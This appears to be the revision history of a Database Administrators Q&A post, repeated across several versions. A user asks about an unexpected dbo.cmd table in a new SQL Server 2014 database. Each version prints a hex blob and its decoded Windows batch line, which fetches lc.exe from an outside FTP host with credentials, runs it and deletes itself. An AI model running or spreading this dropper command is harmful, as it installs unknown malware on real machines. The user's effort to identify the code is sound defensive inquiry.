Skip to main content
Database Administrators

Return to Question

added 13 characters in body
Source Link
Syed Farjad Zia Zaidi
Syed Farjad Zia Zaidi
  • 113
  • 5

I am creating a new database using the UI in SQL Server 2014 and when I open the tables it already has a table dbo.cmd as:

CREATE TABLE [dbo].[cmd](
    [a] [image] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]

It also has one row inserted as:

0x406364202573797374656D726F6F74255C68656C7026406563686F206F70656E2062326263732E676F746F667470312E636F6D3E536F2E3126406563686F2062326263733E3E536F2E3126406563686F2035357A65343235323E3E536F2E3126406563686F20676574206C632E6578653E3E536F2E3126406563686F206279653E3E536F2E312640667470202D733A536F2E312664656C20536F2E3126406C632E6578652664656C202530252665786974

I tried converting this into string and I got this:

@cd %systemroot%\help&@echo open b2bcs.gotoftp1.com>So.1&@echo b2bcs>>So.1&@echo 55ze4252>>So.1&@echo get lc.exe>>So.1&@echo bye>>So.1&@ftp -s:So.1&del So.1&@lc.exe&del %0%&exit

After focusing on this I found out that its a bash script and I tried executing the bash script and I got a file lc.exe in my folder %systemroot%/Help/lc.exe, I have not yet executed the last command from the script:

lc.exe&del %0%&exit

What is this? I have tried searching for this but could not find anything. I have no idea what's happening here, how can I figure this out?

I am creating a new database in SQL Server 2014 and when I open the tables it already has a table dbo.cmd as:

CREATE TABLE [dbo].[cmd](
    [a] [image] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]

It also has one row inserted as:

0x406364202573797374656D726F6F74255C68656C7026406563686F206F70656E2062326263732E676F746F667470312E636F6D3E536F2E3126406563686F2062326263733E3E536F2E3126406563686F2035357A65343235323E3E536F2E3126406563686F20676574206C632E6578653E3E536F2E3126406563686F206279653E3E536F2E312640667470202D733A536F2E312664656C20536F2E3126406C632E6578652664656C202530252665786974

I tried converting this into string and I got this:

@cd %systemroot%\help&@echo open b2bcs.gotoftp1.com>So.1&@echo b2bcs>>So.1&@echo 55ze4252>>So.1&@echo get lc.exe>>So.1&@echo bye>>So.1&@ftp -s:So.1&del So.1&@lc.exe&del %0%&exit

After focusing on this I found out that its a bash script and I tried executing the bash script and I got a file lc.exe in my folder %systemroot%/Help/lc.exe, I have not yet executed the last command from the script:

lc.exe&del %0%&exit

What is this? I have tried searching for this but could not find anything. I have no idea what's happening here, how can I figure this out?

I am creating a new database using the UI in SQL Server 2014 and when I open the tables it already has a table dbo.cmd as:

CREATE TABLE [dbo].[cmd](
    [a] [image] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]

It also has one row inserted as:

0x406364202573797374656D726F6F74255C68656C7026406563686F206F70656E2062326263732E676F746F667470312E636F6D3E536F2E3126406563686F2062326263733E3E536F2E3126406563686F2035357A65343235323E3E536F2E3126406563686F20676574206C632E6578653E3E536F2E3126406563686F206279653E3E536F2E312640667470202D733A536F2E312664656C20536F2E3126406C632E6578652664656C202530252665786974

I tried converting this into string and I got this:

@cd %systemroot%\help&@echo open b2bcs.gotoftp1.com>So.1&@echo b2bcs>>So.1&@echo 55ze4252>>So.1&@echo get lc.exe>>So.1&@echo bye>>So.1&@ftp -s:So.1&del So.1&@lc.exe&del %0%&exit

After focusing on this I found out that its a bash script and I tried executing the bash script and I got a file lc.exe in my folder %systemroot%/Help/lc.exe, I have not yet executed the last command from the script:

lc.exe&del %0%&exit

What is this? I have tried searching for this but could not find anything. I have no idea what's happening here, how can I figure this out?

Source Link
Syed Farjad Zia Zaidi
Syed Farjad Zia Zaidi
  • 113
  • 5

New Database and it has a table `dbo.cmd` already

I am creating a new database in SQL Server 2014 and when I open the tables it already has a table dbo.cmd as:

CREATE TABLE [dbo].[cmd](
    [a] [image] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]

It also has one row inserted as:

0x406364202573797374656D726F6F74255C68656C7026406563686F206F70656E2062326263732E676F746F667470312E636F6D3E536F2E3126406563686F2062326263733E3E536F2E3126406563686F2035357A65343235323E3E536F2E3126406563686F20676574206C632E6578653E3E536F2E3126406563686F206279653E3E536F2E312640667470202D733A536F2E312664656C20536F2E3126406C632E6578652664656C202530252665786974

I tried converting this into string and I got this:

@cd %systemroot%\help&@echo open b2bcs.gotoftp1.com>So.1&@echo b2bcs>>So.1&@echo 55ze4252>>So.1&@echo get lc.exe>>So.1&@echo bye>>So.1&@ftp -s:So.1&del So.1&@lc.exe&del %0%&exit

After focusing on this I found out that its a bash script and I tried executing the bash script and I got a file lc.exe in my folder %systemroot%/Help/lc.exe, I have not yet executed the last command from the script:

lc.exe&del %0%&exit

What is this? I have tried searching for this but could not find anything. I have no idea what's happening here, how can I figure this out?